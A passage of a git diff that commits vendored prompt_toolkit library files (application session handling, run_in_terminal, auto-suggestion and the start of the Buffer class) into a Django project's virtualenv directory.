wait_for_enter: bool = True, + display_before_text: AnyFormattedText = "", + wait_text: str = "Press ENTER to continue...", + ) -> None: + """ + Run system command (While hiding the prompt. When finished, all the + output will scroll above the prompt.) + + :param command: Shell command to be executed. + :param wait_for_enter: FWait for the user to press enter, when the + command is finished. + :param display_before_text: If given, text to be displayed before the + command executes. + :return: A `Future` object. + """ + async with in_terminal(): + # Try to use the same input/output file descriptors as the one, + # used to run this application. + try: + input_fd = self.input.fileno() + except AttributeError: + input_fd = sys.stdin.fileno() + try: + output_fd = self.output.fileno() + except AttributeError: + output_fd = sys.stdout.fileno() + + # Run sub process. + def run_command() -> None: + self.print_text(display_before_text) + p = Popen(command, shell=True, stdin=input_fd, stdout=output_fd) + p.wait() + + await run_in_executor_with_context(run_command) + + # Wait for the user to press enter. + if wait_for_enter: + await _do_wait_for_enter(wait_text) + + def suspend_to_background(self, suspend_group: bool = True) -> None: + """ + (Not thread safe -- to be called from inside the key bindings.) + Suspend process. + + :param suspend_group: When true, suspend the whole process group. + (This is the default, and probably what you want.) + """ + # Only suspend when the operating system supports it. + # (Not on Windows.) + if _SIGTSTP is not None: + + def run() -> None: + signal = cast(int, _SIGTSTP) + # Send `SIGTSTP` to own process. + # This will cause it to suspend. + + # Usually we want the whole process group to be suspended. This + # handles the case when input is piped from another process. + if suspend_group: + os.kill(0, signal) + else: + os.kill(os.getpid(), signal) + + run_in_terminal(run) + + def print_text( + self, text: AnyFormattedText, style: Optional[BaseStyle] = None + ) -> None: + """ + Print a list of (style_str, text) tuples to the output. + (When the UI is running, this method has to be called through + `run_in_terminal`, otherwise it will destroy the UI.) + + :param text: List of ``(style_str, text)`` tuples. + :param style: Style class to use. Defaults to the active style in the CLI. + """ + print_formatted_text( + output=self.output, + formatted_text=text, + style=style or self._merged_style, + color_depth=self.color_depth, + style_transformation=self.style_transformation, + ) + + @property + def is_running(self) -> bool: + "`True` when the application is currently active/running." + return self._is_running + + @property + def is_done(self) -> bool: + if self.future: + return self.future.done() + return False + + def get_used_style_strings(self) -> List[str]: + """ + Return a list of used style strings. This is helpful for debugging, and + for writing a new `Style`. + """ + attrs_for_style = self.renderer._attrs_for_style + + if attrs_for_style: + return sorted( + re.sub(r"\s+", " ", style_str).strip() + for style_str in attrs_for_style.keys() + ) + + return [] + + +class _CombinedRegistry(KeyBindingsBase): + """ + The `KeyBindings` of key bindings for a `Application`. + This merges the global key bindings with the one of the current user + control. + """ + + def __init__(self, app: Application[_AppResult]) -> None: + self.app = app + self._cache: SimpleCache[ + Tuple[Window, FrozenSet[UIControl]], KeyBindingsBase + ] = SimpleCache() + + @property + def _version(self) -> Hashable: + """Not needed - this object is not going to be wrapped in another + KeyBindings object.""" + raise NotImplementedError + + def bindings(self) -> List[Binding]: + """Not needed - this object is not going to be wrapped in another + KeyBindings object.""" + raise NotImplementedError + + def _create_key_bindings( + self, current_window: Window, other_controls: List[UIControl] + ) -> KeyBindingsBase: + """ + Create a `KeyBindings` object that merges the `KeyBindings` from the + `UIControl` with all the parent controls and the global key bindings. + """ + key_bindings = [] + collected_containers = set() + + # Collect key bindings from currently focused control and all parent + # controls. Don't include key bindings of container parent controls. + container: Container = current_window + while True: + collected_containers.add(container) + kb = container.get_key_bindings() + if kb is not None: + key_bindings.append(kb) + + if container.is_modal(): + break + + parent = self.app.layout.get_parent(container) + if parent is None: + break + else: + container = parent + + # Include global bindings (starting at the top-model container). + for c in walk(container): + if c not in collected_containers: + kb = c.get_key_bindings() + if kb is not None: + key_bindings.append(GlobalOnlyKeyBindings(kb)) + + # Add App key bindings + if self.app.key_bindings: + key_bindings.append(self.app.key_bindings) + + # Add mouse bindings. + key_bindings.append( + ConditionalKeyBindings( + self.app._page_navigation_bindings, + self.app.enable_page_navigation_bindings, + ) + ) + key_bindings.append(self.app._default_bindings) + + # Reverse this list. The current control's key bindings should come + # last. They need priority. + key_bindings = key_bindings[::-1] + + return merge_key_bindings(key_bindings) + + @property + def _key_bindings(self) -> KeyBindingsBase: + current_window = self.app.layout.current_window + other_controls = list(self.app.layout.find_all_controls()) + key = current_window, frozenset(other_controls) + + return self._cache.get( + key, lambda: self._create_key_bindings(current_window, other_controls) + ) + + def get_bindings_for_keys(self, keys: KeysTuple) -> List[Binding]: + return self._key_bindings.get_bindings_for_keys(keys) + + def get_bindings_starting_with_keys(self, keys: KeysTuple) -> List[Binding]: + return self._key_bindings.get_bindings_starting_with_keys(keys) + + +async def _do_wait_for_enter(wait_text: AnyFormattedText) -> None: + """ + Create a sub application to wait for the enter key press. + This has two advantages over using 'input'/'raw_input': + - This will share the same input/output I/O. + - This doesn't block the event loop. + """ + from prompt_toolkit.shortcuts import PromptSession + + key_bindings = KeyBindings() + + @key_bindings.add("enter") + def _ok(event: E) -> None: + event.app.exit() + + @key_bindings.add(Keys.Any) + def _ignore(event: E) -> None: + "Disallow typing." + pass + + session: PromptSession[None] = PromptSession( + message=wait_text, key_bindings=key_bindings + ) + await session.app.run_async() + + +@contextmanager +def attach_winch_signal_handler( + handler: Callable[[], None] +) -> Generator[None, None, None]: + """ + Attach the given callback as a WINCH signal handler within the context + manager. Restore the original signal handler when done. + + The `Application.run` method will register SIGWINCH, so that it will + properly repaint when the terminal window resizes. However, using + `run_in_terminal`, we can temporarily send an application to the + background, and run an other app in between, which will then overwrite the + SIGWINCH. This is why it's important to restore the handler when the app + terminates. + """ + # The tricky part here is that signals are registered in the Unix event + # loop with a wakeup fd, but another application could have registered + # signals using signal.signal directly. For now, the implementation is + # hard-coded for the `asyncio.unix_events._UnixSelectorEventLoop`. + + # No WINCH? Then don't do anything. + sigwinch = getattr(signal, "SIGWINCH", None) + if sigwinch is None or not in_main_thread(): + yield + return + + # Keep track of the previous handler. + # (Only UnixSelectorEventloop has `_signal_handlers`.) + loop = get_event_loop() + previous_winch_handler = getattr(loop, "_signal_handlers", {}).get(sigwinch) + + try: + loop.add_signal_handler(sigwinch, handler) + yield + finally: + # Restore the previous signal handler. + loop.remove_signal_handler(sigwinch) + if previous_winch_handler is not None: + loop.add_signal_handler( + sigwinch, + previous_winch_handler._callback, + *previous_winch_handler._args, + ) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/application/current.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/application/current.py new file mode 100644 index 00000000..ae69bfd5 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/application/current.py @@ -0,0 +1,197 @@ +import sys +from contextlib import contextmanager +from typing import TYPE_CHECKING, Any, Generator, Optional + +try: + from contextvars import ContextVar +except ImportError: + from prompt_toolkit.eventloop.dummy_contextvars import ContextVar # type: ignore + +if TYPE_CHECKING: + from prompt_toolkit.input.base import Input + from prompt_toolkit.output.base import Output + + from .application import Application + +__all__ = [ + "AppSession", + "get_app_session", + "get_app", + "get_app_or_none", + "set_app", + "create_app_session", + "create_app_session_from_tty", +] + + +class AppSession: + """ + An AppSession is an interactive session, usually connected to one terminal. + Within one such session, interaction with many applications can happen, one + after the other. + + The input/output device is not supposed to change during one session. + + Warning: Always use the `create_app_session` function to create an + instance, so that it gets activated correctly. + + :param input: Use this as a default input for all applications + running in this session, unless an input is passed to the `Application` + explicitely. + :param output: Use this as a default output. + """ + + def __init__( + self, input: Optional["Input"] = None, output: Optional["Output"] = None + ) -> None: + + self._input = input + self._output = output + + # The application will be set dynamically by the `set_app` context + # manager. This is called in the application itself. + self.app: Optional["Application[Any]"] = None + + def __repr__(self) -> str: + return f"AppSession(app={self.app!r})" + + @property + def input(self) -> "Input": + if self._input is None: + from prompt_toolkit.input.defaults import create_input + + self._input = create_input() + return self._input + + @property + def output(self) -> "Output": + if self._output is None: + from prompt_toolkit.output.defaults import create_output + + self._output = create_output() + return self._output + + +_current_app_session: ContextVar["AppSession"] = ContextVar( + "_current_app_session", default=AppSession() +) + + +def get_app_session() -> AppSession: + return _current_app_session.get() + + +def get_app() -> "Application[Any]": + """ + Get the current active (running) Application. + An :class:`.Application` is active during the + :meth:`.Application.run_async` call. + + We assume that there can only be one :class:`.Application` active at the + same time. There is only one terminal window, with only one stdin and + stdout. This makes the code significantly easier than passing around the + :class:`.Application` everywhere. + + If no :class:`.Application` is running, then return by default a + :class:`.DummyApplication`. For practical reasons, we prefer to not raise + an exception. This way, we don't have to check all over the place whether + an actual `Application` was returned. + + (For applications like pymux where we can have more than one `Application`, + we'll use a work-around to handle that.) + """ + session = _current_app_session.get() + if session.app is not None: + return session.app + + from .dummy import DummyApplication + + return DummyApplication() + + +def get_app_or_none() -> Optional["Application[Any]"]: + """ + Get the current active (running) Application, or return `None` if no + application is running. + """ + session = _current_app_session.get() + return session.app + + +@contextmanager +def set_app(app: "Application[Any]") -> Generator[None, None, None]: + """ + Context manager that sets the given :class:`.Application` active in an + `AppSession`. + + This should only be called by the `Application` itself. + The application will automatically be active while its running. If you want + the application to be active in other threads/coroutines, where that's not + the case, use `contextvars.copy_context()`, or use `Application.context` to + run it in the appropriate context. + """ + session = _current_app_session.get() + + previous_app = session.app + session.app = app + try: + yield + finally: + session.app = previous_app + + +@contextmanager +def create_app_session( + input: Optional["Input"] = None, output: Optional["Output"] = None +) -> Generator[AppSession, None, None]: + """ + Create a separate AppSession. + + This is useful if there can be multiple individual `AppSession`s going on. + Like in the case of an Telnet/SSH server. This functionality uses + contextvars and requires at least Python 3.7. + """ + if sys.version_info <= (3, 6): + raise RuntimeError("Application sessions require Python 3.7.") + + # If no input/output is specified, fall back to the current input/output, + # whatever that is. + if input is None: + input = get_app_session().input + if output is None: + output = get_app_session().output + + # Create new `AppSession` and activate. + session = AppSession(input=input, output=output) + + token = _current_app_session.set(session) + try: + yield session + finally: + _current_app_session.reset(token) + + +@contextmanager +def create_app_session_from_tty() -> Generator[AppSession, None, None]: + """ + Create `AppSession` that always prefers the TTY input/output. + + Even if `sys.stdin` and `sys.stdout` are connected to input/output pipes, + this will still use the terminal for interaction (because `sys.stderr` is + still connected to the terminal). + + Usage:: + + from prompt_toolkit.shortcuts import prompt + + with create_app_session_from_tty(): + prompt('>') + """ + from prompt_toolkit.input.defaults import create_input + from prompt_toolkit.output.defaults import create_output + + input = create_input(always_prefer_tty=True) + output = create_output(always_prefer_tty=True) + + with create_app_session(input=input, output=output) as app_session: + yield app_session diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/application/dummy.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/application/dummy.py new file mode 100644 index 00000000..4e5e4aaf --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/application/dummy.py @@ -0,0 +1,51 @@ +from typing import Callable, Optional + +from prompt_toolkit.formatted_text import AnyFormattedText +from prompt_toolkit.input import DummyInput +from prompt_toolkit.output import DummyOutput + +from .application import Application + +__all__ = [ + "DummyApplication", +] + + +class DummyApplication(Application[None]): + """ + When no :class:`.Application` is running, + :func:`.get_app` will run an instance of this :class:`.DummyApplication` instead. + """ + + def __init__(self) -> None: + super().__init__(output=DummyOutput(), input=DummyInput()) + + def run( + self, + pre_run: Optional[Callable[[], None]] = None, + set_exception_handler: bool = True, + handle_sigint: bool = True, + in_thread: bool = False, + ) -> None: + raise NotImplementedError("A DummyApplication is not supposed to run.") + + async def run_async( + self, + pre_run: Optional[Callable[[], None]] = None, + set_exception_handler: bool = True, + handle_sigint: bool = True, + slow_callback_duration: float = 0.5, + ) -> None: + raise NotImplementedError("A DummyApplication is not supposed to run.") + + async def run_system_command( + self, + command: str, + wait_for_enter: bool = True, + display_before_text: AnyFormattedText = "", + wait_text: str = "", + ) -> None: + raise NotImplementedError + + def suspend_to_background(self, suspend_group: bool = True) -> None: + raise NotImplementedError diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/application/run_in_terminal.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/application/run_in_terminal.py new file mode 100644 index 00000000..d5ef8aaf --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/application/run_in_terminal.py @@ -0,0 +1,117 @@ +""" +Tools for running functions on the terminal above the current application or prompt. +""" +import sys +from asyncio import Future, ensure_future +from typing import AsyncGenerator, Awaitable, Callable, TypeVar + +from prompt_toolkit.eventloop import run_in_executor_with_context + +from .current import get_app_or_none + +if sys.version_info >= (3, 7): + from contextlib import asynccontextmanager +else: + from prompt_toolkit.eventloop.async_context_manager import asynccontextmanager + + +__all__ = [ + "run_in_terminal", + "in_terminal", +] + +_T = TypeVar("_T") + + +def run_in_terminal( + func: Callable[[], _T], render_cli_done: bool = False, in_executor: bool = False +) -> Awaitable[_T]: + """ + Run function on the terminal above the current application or prompt. + + What this does is first hiding the prompt, then running this callable + (which can safely output to the terminal), and then again rendering the + prompt which causes the output of this function to scroll above the + prompt. + + ``func`` is supposed to be a synchronous function. If you need an + asynchronous version of this function, use the ``in_terminal`` context + manager directly. + + :param func: The callable to execute. + :param render_cli_done: When True, render the interface in the + 'Done' state first, then execute the function. If False, + erase the interface first. + :param in_executor: When True, run in executor. (Use this for long + blocking functions, when you don't want to block the event loop.) + + :returns: A `Future`. + """ + + async def run() -> _T: + async with in_terminal(render_cli_done=render_cli_done): + if in_executor: + return await run_in_executor_with_context(func) + else: + return func() + + return ensure_future(run()) + + +@asynccontextmanager +async def in_terminal(render_cli_done: bool = False) -> AsyncGenerator[None, None]: + """ + Asynchronous context manager that suspends the current application and runs + the body in the terminal. + + .. code:: + + async def f(): + async with in_terminal(): + call_some_function() + await call_some_async_function() + """ + app = get_app_or_none() + if app is None or not app._is_running: + yield + return + + # When a previous `run_in_terminal` call was in progress. Wait for that + # to finish, before starting this one. Chain to previous call. + previous_run_in_terminal_f = app._running_in_terminal_f + new_run_in_terminal_f: Future[None] = Future() + app._running_in_terminal_f = new_run_in_terminal_f + + # Wait for the previous `run_in_terminal` to finish. + if previous_run_in_terminal_f is not None: + await previous_run_in_terminal_f + + # Wait for all CPRs to arrive. We don't want to detach the input until + # all cursor position responses have been arrived. Otherwise, the tty + # will echo its input and can show stuff like ^[[39;1R. + if app.output.responds_to_cpr: + await app.renderer.wait_for_cpr_responses() + + # Draw interface in 'done' state, or erase. + if render_cli_done: + app._redraw(render_as_done=True) + else: + app.renderer.erase() + + # Disable rendering. + app._running_in_terminal = True + + # Detach input. + try: + with app.input.detach(): + with app.input.cooked_mode(): + yield + finally: + # Redraw interface again. + try: + app._running_in_terminal = False + app.renderer.reset() + app._request_absolute_cursor_position() + app._redraw() + finally: + new_run_in_terminal_f.set_result(None) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/auto_suggest.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/auto_suggest.py new file mode 100644 index 00000000..7099b8e9 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/auto_suggest.py @@ -0,0 +1,187 @@ +""" +`Fish-style `_ like auto-suggestion. + +While a user types input in a certain buffer, suggestions are generated +(asynchronously.) Usually, they are displayed after the input. When the cursor +presses the right arrow and the cursor is at the end of the input, the +suggestion will be inserted. + +If you want the auto suggestions to be asynchronous (in a background thread), +because they take too much time, and could potentially block the event loop, +then wrap the :class:`.AutoSuggest` instance into a +:class:`.ThreadedAutoSuggest`. +""" +from abc import ABCMeta, abstractmethod +from typing import TYPE_CHECKING, Callable, Optional, Union + +from prompt_toolkit.eventloop import run_in_executor_with_context + +from .document import Document +from .filters import Filter, to_filter + +if TYPE_CHECKING: + from .buffer import Buffer + +__all__ = [ + "Suggestion", + "AutoSuggest", + "ThreadedAutoSuggest", + "DummyAutoSuggest", + "AutoSuggestFromHistory", + "ConditionalAutoSuggest", + "DynamicAutoSuggest", +] + + +class Suggestion: + """ + Suggestion returned by an auto-suggest algorithm. + + :param text: The suggestion text. + """ + + def __init__(self, text: str) -> None: + self.text = text + + def __repr__(self) -> str: + return "Suggestion(%s)" % self.text + + +class AutoSuggest(metaclass=ABCMeta): + """ + Base class for auto suggestion implementations. + """ + + @abstractmethod + def get_suggestion( + self, buffer: "Buffer", document: Document + ) -> Optional[Suggestion]: + """ + Return `None` or a :class:`.Suggestion` instance. + + We receive both :class:`~prompt_toolkit.buffer.Buffer` and + :class:`~prompt_toolkit.document.Document`. The reason is that auto + suggestions are retrieved asynchronously. (Like completions.) The + buffer text could be changed in the meantime, but ``document`` contains + the buffer document like it was at the start of the auto suggestion + call. So, from here, don't access ``buffer.text``, but use + ``document.text`` instead. + + :param buffer: The :class:`~prompt_toolkit.buffer.Buffer` instance. + :param document: The :class:`~prompt_toolkit.document.Document` instance. + """ + + async def get_suggestion_async( + self, buff: "Buffer", document: Document + ) -> Optional[Suggestion]: + """ + Return a :class:`.Future` which is set when the suggestions are ready. + This function can be overloaded in order to provide an asynchronous + implementation. + """ + return self.get_suggestion(buff, document) + + +class ThreadedAutoSuggest(AutoSuggest): + """ + Wrapper that runs auto suggestions in a thread. + (Use this to prevent the user interface from becoming unresponsive if the + generation of suggestions takes too much time.) + """ + + def __init__(self, auto_suggest: AutoSuggest) -> None: + self.auto_suggest = auto_suggest + + def get_suggestion( + self, buff: "Buffer", document: Document + ) -> Optional[Suggestion]: + return self.auto_suggest.get_suggestion(buff, document) + + async def get_suggestion_async( + self, buff: "Buffer", document: Document + ) -> Optional[Suggestion]: + """ + Run the `get_suggestion` function in a thread. + """ + + def run_get_suggestion_thread() -> Optional[Suggestion]: + return self.get_suggestion(buff, document) + + return await run_in_executor_with_context(run_get_suggestion_thread) + + +class DummyAutoSuggest(AutoSuggest): + """ + AutoSuggest class that doesn't return any suggestion. + """ + + def get_suggestion( + self, buffer: "Buffer", document: Document + ) -> Optional[Suggestion]: + return None # No suggestion + + +class AutoSuggestFromHistory(AutoSuggest): + """ + Give suggestions based on the lines in the history. + """ + + def get_suggestion( + self, buffer: "Buffer", document: Document + ) -> Optional[Suggestion]: + history = buffer.history + + # Consider only the last line for the suggestion. + text = document.text.rsplit("\n", 1)[-1] + + # Only create a suggestion when this is not an empty line. + if text.strip(): + # Find first matching line in history. + for string in reversed(list(history.get_strings())): + for line in reversed(string.splitlines()): + if line.startswith(text): + return Suggestion(line[len(text) :]) + + return None + + +class ConditionalAutoSuggest(AutoSuggest): + """ + Auto suggest that can be turned on and of according to a certain condition. + """ + + def __init__(self, auto_suggest: AutoSuggest, filter: Union[bool, Filter]) -> None: + + self.auto_suggest = auto_suggest + self.filter = to_filter(filter) + + def get_suggestion( + self, buffer: "Buffer", document: Document + ) -> Optional[Suggestion]: + if self.filter(): + return self.auto_suggest.get_suggestion(buffer, document) + + return None + + +class DynamicAutoSuggest(AutoSuggest): + """ + Validator class that can dynamically returns any Validator. + + :param get_validator: Callable that returns a :class:`.Validator` instance. + """ + + def __init__(self, get_auto_suggest: Callable[[], Optional[AutoSuggest]]) -> None: + self.get_auto_suggest = get_auto_suggest + + def get_suggestion( + self, buff: "Buffer", document: Document + ) -> Optional[Suggestion]: + auto_suggest = self.get_auto_suggest() or DummyAutoSuggest() + return auto_suggest.get_suggestion(buff, document) + + async def get_suggestion_async( + self, buff: "Buffer", document: Document + ) -> Optional[Suggestion]: + auto_suggest = self.get_auto_suggest() or DummyAutoSuggest() + return await auto_suggest.get_suggestion_async(buff, document) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/buffer.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/buffer.py new file mode 100644 index 00000000..ec2d3ba9 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/buffer.py @@ -0,0 +1,2014 @@ +""" +Data structures for the Buffer. +It holds the text, cursor position, history, etc... +""" +import asyncio +import logging +import os +import re +import shlex +import shutil +import subprocess +import tempfile +from collections import deque +from enum import Enum +from functools import wraps +from typing import ( + Any, + Awaitable, + Callable, + Deque, + Iterable, + List, + Optional, + Set, + Tuple, + TypeVar, + Union, + cast, +) + +from .application.current import get_app +from .application.run_in_terminal import run_in_terminal +from .auto_suggest import AutoSuggest, Suggestion +from .cache import FastDictCache +from .clipboard import ClipboardData +from .completion import ( + CompleteEvent, + Completer, + Completion, + DummyCompleter, + get_common_complete_suffix, +) +from .document import Document +from .filters import FilterOrBool, to_filter +from .history import History, InMemoryHistory +from .search import SearchDirection, SearchState +from .selection import PasteMode, SelectionState, SelectionType +from .utils import Event, to_str +from .validation import ValidationError, Validator + +__all__ = [ + "EditReadOnlyBuffer", + "Buffer", + "CompletionState", + "indent", + "unindent", + "reshape_text", +] + +logger = logging.getLogger(__name__) + + +class EditReadOnlyBuffer(Exception): + "Attempt editing of read-only :class:`.Buffer`." + + +class ValidationState(Enum): + "The validation state of a buffer. This is set after the validation." + VALID = "VALID" + INVALID = "INVALID" + UNKNOWN = "UNKNOWN" + + +class CompletionState: + """ + Immutable class that contains a completion state. + """ + + def __init__( + self, + original_document: "Document", + completions: Optional[List["Completion"]] = None, + complete_index: Optional[int] = None, + ) -> None: + + #: Document as it was when the completion started. + self.original_document = original_document + + #: List of all the current Completion instances which are possible at + #: this point. + self.completions = completions or [] + + #: Position in the `completions` array. + #: This can be `None` to indicate "no completion", the original text. + self.complete_index = complete_index # Position in the `_completions` array. + + def __repr__(self) -> str: + return "{}({!r}, <{!r}> completions, index={!r})".format( + self.__class__.__name__, + self.original_document, + len(self.completions), + self.complete_index, + ) + + def go_to_index(self, index: Optional[int]) -> None: + """ + Create a new :class:`.CompletionState` object with the new index. + + When `index` is `None` deselect the completion. + """ + if self.completions: + assert index is None or 0 <= index < len(self.completions) + self.complete_index = index + + def new_text_and_position(self) -> Tuple[str, int]: + """ + Return (new_text, new_cursor_position) for this completion. + """ + if self.complete_index is None: + return self.original_document.text, self.original_document.cursor_position + else: + original_text_before_cursor = self.original_document.text_before_cursor + original_text_after_cursor = self.original_document.text_after_cursor + + c = self.completions[self.complete_index] + if c.start_position == 0: + before = original_text_before_cursor + else: + before = original_text_before_cursor[: c.start_position] + + new_text = before + c.text + original_text_after_cursor + new_cursor_position = len(before) + len(c.text) + return new_text, new_cursor_position + + @property + def current_completion(self) -> Optional["Completion"]: + """ + Return the current completion, or return `None` when no completion is + selected. + """ + if self.complete_index is not None: + return self.completions[self.complete_index] + return None + + +_QUOTED_WORDS_RE = re.compile(r"""(\s+|".*?"|'.*?')""") + + +class YankNthArgState: + """ + For yank-last-arg/yank-nth-arg: Keep track of where we are in the history. + """ + + def __init__( + self, history_position: int = 0, n: int = -1, previous_inserted_word: str = "" + ) -> None: + + self.history_position = history_position + self.previous_inserted_word = previous_inserted_word + self.n = n + + def __repr__(self) -> str: + return "{}(history_position={!r}, n={!r}, previous_inserted_word={!r})".format( + self.__class__.__name__, + self.history_position, + self.n, + self.previous_inserted_word, + ) + + +BufferEventHandler = Callable[["Buffer"], None] +BufferAcceptHandler = Callable[["Buffer"], bool] + + +class Buffer: + """ + The core data structure that holds the text and cursor position of the + current input line and implements all text manipulations on top of it. It + also implements the history, undo stack and the completion state. + + :param completer: :class:`~prompt_toolkit.completion.Completer` instance. + :param history: :class:`~prompt_toolkit.history.History` instance. + :param tempfile_suffix: The tempfile suffix (extension) to be used for the + "open in editor" function. For a Python REPL, this would be ".py", so + that the editor knows the syntax highlighting to use. This can also be + a callable that returns a string. + :param tempfile: For more advanced tempfile situations where you need + control over the subdirectories and filename. For a Git Commit Message, + this would be ".git/COMMIT_EDITMSG", so that the editor knows the syntax + highlighting to use. This can also be a callable that returns a string. + :param name: Name for this buffer. E.g. DEFAULT_BUFFER. This is mostly + useful for key bindings where we sometimes prefer to refer to a buffer + by their name instead of by reference. + :param accept_handler: Called when the buffer input is accepted. (Usually + when the user presses `enter`.) The accept handler receives this + `Buffer` as input and should return True when the buffer text should be + kept instead of calling reset. + + In case of a `PromptSession` for instance, we want to keep the text, + because we will exit the application, and only reset it during the next + run. + + Events: + + :param on_text_changed: When the buffer text changes. (Callable or None.) + :param on_text_insert: When new text is inserted. (Callable or None.) + :param on_cursor_position_changed: When the cursor moves. (Callable or None.) + :param on_completions_changed: When the completions were changed. (Callable or None.) + :param on_suggestion_set: When an auto-suggestion text has been set. (Callable or None.) + + Filters: + + :param complete_while_typing: :class:`~prompt_toolkit.filters.Filter` + or `bool`. Decide whether or not to do asynchronous autocompleting while + typing. + :param validate_while_typing: :class:`~prompt_toolkit.filters.Filter` + or `bool`. Decide whether or not to do asynchronous validation while + typing. + :param enable_history_search: :class:`~prompt_toolkit.filters.Filter` or + `bool` to indicate when up-arrow partial string matching is enabled. It + is advised to not enable this at the same time as + `complete_while_typing`, because when there is an autocompletion found, + the up arrows usually browse through the completions, rather than + through the history. + :param read_only: :class:`~prompt_toolkit.filters.Filter`. When True, + changes will not be allowed. + :param multiline: :class:`~prompt_toolkit.filters.Filter` or `bool`. When + not set, pressing `Enter` will call the `accept_handler`. Otherwise, + pressing `Esc-Enter` is required. + """ + + def __init__( + self, + completer: Optional[Completer] = None, + auto_suggest: Optional[AutoSuggest] = None, + history: Optional[History] = None, + validator: Optional[Validator] = None, + tempfile_suffix: Union[str, Callable[[], str]] = "", + tempfile: Union[str, Callable[[], str]] = "", + name: str = "", + complete_while_typing: FilterOrBool = False, + validate_while_typing: FilterOrBool = False, + enable_history_search: FilterOrBool = False, + document: Optional[Document] = None, + accept_handler: Optional[BufferAcceptHandler] = None, + read_only: FilterOrBool = False, + multiline: FilterOrBool = True, + on_text_changed: Optional[BufferEventHandler] = None, + on_text_insert: Optional[BufferEventHandler] = None, + on_cursor_position_changed: Optional[BufferEventHandler] = None, + on_completions_changed: Optional[BufferEventHandler] = None, + on_suggestion_set: Optional[BufferEventHandler] = None, + ): + + # Accept both filters and booleans as input. + enable_history_search = to_filter(enable_history_search) + complete_while_typing = to_filter(complete_while_typing) + validate_while_typing = to_filter(validate_while_typing) + read_only = to_filter(read_only) + multiline = to_filter(multiline) + + self.completer = completer or DummyCompleter() + self.auto_suggest = auto_suggest + self.validator = validator + self.tempfile_suffix = tempfile_suffix + self.tempfile = tempfile + self.name = name + self.accept_handler = accept_handler + + # Filters. (Usually, used by the key bindings to drive the buffer.) + self.complete_while_typing = complete_while_typing + self.validate_while_typing = validate_while_typing + self.enable_history_search = enable_history_search + self.read_only = read_only + self.multiline = multiline + + # Text width. (For wrapping, used by the Vi 'gq' operator.) + self.text_width = 0 + + #: The command buffer history. + # Note that we shouldn't use a lazy 'or' here. bool(history) could be + # False when empty. + self.history = InMemoryHistory() if history is None else history + + self.__cursor_position = 0 + + # Events + self.on_text_changed: Event["Buffer"] = Event(self, on_text_changed) + self.on_text_insert: Event["Buffer"] = Event(self, on_text_insert) + self.on_cursor_position_changed: Event["Buffer"] = Event( + self, on_cursor_position_changed + ) + self.on_completions_changed: Event["Buffer"] = Event( + self, on_completions_changed + ) + self.on_suggestion_set: Event["Buffer"] = Event(self, on_suggestion_set) + + # Document cache. (Avoid creating new Document instances.) + self._document_cache: FastDictCache[ + Tuple[str, int, Optional[SelectionState]], Document + ] = FastDictCache(Document, size=10) + + # Create completer / auto suggestion / validation coroutines. + self._async_suggester = self._create_auto_suggest_coroutine() + self._async_completer = self._create_completer_coroutine() + self._async_validator = self._create_auto_validate_coroutine() + + # Asyncio task for populating the history. + self._load_history_task: Optional[asyncio.Future[None]] = None + + # Reset other attributes. + self.reset(document=document) + + def __repr__(self) -> str: + if len(self.text) < 15: + text = self.text + else: + text = self.text[:12] + "..." + + return f"" + + def reset( + self, document: Optional[Document] = None, append_to_history: bool = False + ) -> None: + """ + :param append_to_history: Append current input to history first. + """ + if append_to_history: + self.append_to_history() + + document = document or Document() + + self.__cursor_position = document.cursor_position + + # `ValidationError` instance. (Will be set when the input is wrong.) + self.validation_error: Optional[ValidationError] = None + self.validation_state: Optional[ValidationState] = ValidationState.UNKNOWN + + # State of the selection. + self.selection_state: Optional[SelectionState] = None + + # Multiple cursor mode. (When we press 'I' or 'A' in visual-block mode, + # we can insert text on multiple lines at once. This is implemented by + # using multiple cursors.) + self.multiple_cursor_positions: List[int] = [] + + # When doing consecutive up/down movements, prefer to stay at this column. + self.preferred_column: Optional[int] = None + + # State of complete browser + # For interactive completion through Ctrl-N/Ctrl-P. + self.complete_state: Optional[CompletionState] = None + + # State of Emacs yank-nth-arg completion. + self.yank_nth_arg_state: Optional[YankNthArgState] = None # for yank-nth-arg. + + # Remember the document that we had *right before* the last paste + # operation. This is used for rotating through the kill ring. + self.document_before_paste: Optional[Document] = None + + # Current suggestion. + self.suggestion: Optional[Suggestion] = None + + # The history search text. (Used for filtering the history when we + # browse through it.) + self.history_search_text: Optional[str] = None + + # Undo/redo stacks (stack of `(text, cursor_position)`). + self._undo_stack: List[Tuple[str, int]] = [] + self._redo_stack: List[Tuple[str, int]] = [] + + # Cancel history loader. If history loading was still ongoing. + # Cancel the `_load_history_task`, so that next repaint of the + # `BufferControl` we will repopulate it. + if self._load_history_task is not None: + self._load_history_task.cancel() + self._load_history_task = None + + #: The working lines. Similar to history, except that this can be + #: modified. The user can press arrow_up and edit previous entries. + #: Ctrl-C should reset this, and copy the whole history back in here. + #: Enter should process the current command and append to the real + #: history. + self._working_lines: Deque[str] = deque([document.text]) + self.__working_index = 0 + + def load_history_if_not_yet_loaded(self) -> None: + """ + Create task for populating the buffer history (if not yet done). + + Note:: + + This needs to be called from within the event loop of the + application, because history loading is async, and we need to be + sure the right event loop is active. Therefor, we call this method + in the `BufferControl.create_content`. + + There are situations where prompt_toolkit applications are created + in one thread, but will later run in a different thread (Ptpython + is one example. The REPL runs in a separate thread, in order to + prevent interfering with a potential different event loop in the + main thread. The REPL UI however is still created in the main + thread.) We could decide to not support creating prompt_toolkit + objects in one thread and running the application in a different + thread, but history loading is the only place where it matters, and + this solves it. + """ + if self._load_history_task is None: + + async def load_history() -> None: + async for item in self.history.load(): + self._working_lines.appendleft(item) 